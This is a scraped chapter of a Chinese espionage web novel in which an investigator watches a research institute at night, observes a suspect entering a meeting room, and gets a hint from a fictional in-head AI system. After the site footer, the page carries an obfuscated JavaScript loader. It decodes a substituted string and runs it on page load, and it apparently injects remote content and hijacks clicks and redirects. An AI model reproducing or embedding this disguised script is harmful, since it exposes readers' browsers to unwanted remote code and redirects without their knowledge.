第25章 守夜
第25章守夜(第1/2页)
陆维桢没有离开航空动力研究所。他在园区东侧的一栋附属楼里找到了一间用于存放旧图纸的档案室,窗户朝向主试验大楼的方向,正对一楼会议室所在的走廊侧墙。他在窗口旁边放了一把折叠椅,坐下来的角度刚好可以透过档案室窗户的缝隙观察到试验大楼一楼走廊尽头的照明变化和人员进出动态。档案室的门锁是简单的弹簧锁,他在里面把门反锁了,这个房间在晚间不会有人来。
下午到晚上的这段时间他在档案室里继续分析物流园存储卡的剩余数据。卡上除了航空动力研究所和绵阳方向的测试记录之外,还有几个零散的小文件片段,看起来像是早期测试阶段的残留数据,可能因为在不同节点之间的传输过程中发生了中断而只留下了不完整的碎片。其中一组碎片里的时间戳标注比现有的数据覆盖范围更早,属于大约三个月前的记录。三个月前的数据内容指向的对象代码仍然和WP-15C相关,但记录的测试参数类型不同——倾向于材料微观结构演变的数据,而非宏观性能曲线。
这段数据的时间起点和暗潮在蓉城开始部署的早期节点建设时间大致重合。陆维桢在手机备忘录里记下了这个时间点。
天色在六点左右开始暗下来。实验大楼的灯光逐间亮起,走廊灯在七点切换到了夜间节能模式,亮度降到了日间的约三分之一。陆维桢在档案室的黑暗里坐着,视线固定在一楼走廊尽头的方向。值班的安保员在八点半左右沿着主走廊走了一圈,经过那间备用会议室门口时没有停留。九点整,走廊尽头的照明灯光正常亮着,没有人经过那扇门。
九点半左右,陆维桢看到走廊尽头有一个穿深色夹克的人影从楼梯口方向走过来。那人走路的姿态匀速而平稳,没有刻意放轻脚步也没有左顾右盼。他在备用会议室门口停下来,从口袋里取出一张卡片在门锁感应区刷了一下,推门进入。进入后门被带拢但没有完全关严,留了一道约一厘米的缝隙。
陆维桢从档案室窗边站了起来。他隔着窗户看到那间会议室内部的灯光从门缝里透出来——很暗,是那种显示器屏幕的背光亮度,不是日光灯。他看不到房间里的人在做什么,但他开始计时。从那人进门到离开,一共持续了大约三分四十秒。门重新打开时那人手里没有拿任何显眼的物品,他关上会议室的门之后沿原路走回楼梯口方向。灯光在他经过走廊拐角时照到了他的侧面轮廓——中等身材,穿深灰色夹克,未戴帽子,面部特征在距离和灯光条件下不足以辨识。
陆维桢记住了一个特征:那个人在离开会议室走向楼梯口时,他的左手在夹克侧袋外面停了一下,像是确认口袋里有东西。左手。和散热孔边沿擦痕的方向推断一致。
他等那个人完全消失在楼梯口之后才从档案室出来,沿着走廊侧面快速移动到备用会议室门口。门锁在刷卡后重新锁闭,他用手机拍了一下门锁感应区周围面板上的指纹分布,然后蹲下来检查地面。会议室门前的浅色地砖上有两组脚印,一组是进入时留下的,一组是离开时留下的。两组脚印的朝向和步幅一致。但他在门缝边缘的地面上发现了一小片不同于地砖颜色的东西——大约指甲盖大小,浅灰色,形状不规则,像是从某种办公用具上剥落的塑料碎片。他用镊子把它夹起来放进样品袋里封好。
回到档案室之后他重新坐下来,把那个人的姿态和步幅特征在自己脑子里过了一遍。中等身材、深色夹克、左手确认口袋的动作、步幅约七十五厘米、行走速度均匀。他整理好这些信息之后给周承岳发了一条消息,描述了今晚观察到的特征。
(本章未完,请点击下一页继续阅读)第25章守夜(第2/2页)
周承岳的回复在几分钟后弹出来:“会调取楼梯口和一楼出口的监控截图做比对。你继续留到什么时候?“
陆维桢看了一眼手机上的时间。九点四十分。那人的进入时间在九点三十分左右,持续了三分四十秒后离开,按照常规的工作节奏判断,他今晚不太可能再回来。但陆维桢没有马上走。他在档案室里又坐了大约半个小时,确认走廊尽头没有再出现人员靠近备用会议室的情况,才起身离开。
他走出档案室时经过了一层大厅的楼梯口附近的挂墙式消防疏散图,图纸旁边的公告栏上贴着一张内部值班安排表,上面排列着研究所本周的夜间值班人员名单和对应的电话分机。值班安排表的打印日期是本周一,表格上的夜间值班人员一共有四名,分为两人一组轮值,每组负责一三五和二四六的晚间时段。今天周四,值班人员是两个人名。
陆维桢用手机拍下了那张值班表。他往外走的时候顺路经过园区内部的通勤车站台,站台旁边的灯箱里贴着一张研究所普通员工的通勤卡发放统计表,上面列出了各部门的人员数量。他在表上找到了对应夜间值班人员所在部门的标注——那两个人名中的一个,来自于试验测试技术部门,正好负责测试台的数据采集系统运行维护工作。
他把这个关联记在了心里,但没有在现场多做停留。走出研究所园区大门时夜色已经完全笼罩了城市,路灯把街道照成暗橘色的光带向远处延伸。他在路边叫了一辆出租车回龙科院,坐到后排靠窗的位置,把手机上的照片和记录重新过了一遍。
出租车经过蓉城东部快速路时,陆维桢的目光越过车窗看到了物流园方向的一片灯光。那辆深色商务车今天没有取到卡,但按照定期检查的逻辑,它会在某个时间点再次出现。而那张被他换走的空白卡,在下一个数据窗口开启时会开始写入新的信息——它会逐渐存储来自蓉城和绵阳方向的新数据,形成一条新的记录链。如果商务车在几周后再次来取卡,看到卡上有数据、设备正常运行,就不会意识到任何异常。
陆维桢靠进座椅里。出租车驶过一段高架桥,城市的灯光在挡风玻璃上反射成流动的线条。他的目光在这些线条上停留了一会儿,然后他闭上了眼睛。
窗外有一架夜航班机的信号灯在高空缓慢移动,光点在天幕上经过一段平直的长线轨迹后渐渐变小消失。天工系统的光屏在他的视野里短暂地亮了一下,上面浮着一行字,字体很浅,收尾处略微发暗:“值班表上那个测试台数据采集维护人员的工作履历中有一条记录——他曾经在该研究所与一家境外测试设备供应商的联合调试项目中担任过现场技术协调员。联合调试项目的时间线和卡上最早的数据碎片时间戳起点一致。“
陆维桢没有睁眼。出租车在下一段平直路面上继续行驶,轮胎碾过路面接缝时发出均匀的节奏声。窗外夜空中的航线灯已经完全消失了,只剩下一片深色的天幕,被城市的光污染映成暗橘色。他在那均匀的节奏声里慢慢做完了一个完整的呼吸周期才睁开眼睛,城市的灯光在他瞳孔里重新聚焦成清晰的轮廓。出租车前方出现了一个标志着龙科院方向的指示牌,他往座位上挪了一下身体,把外套的领口翻起来。
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();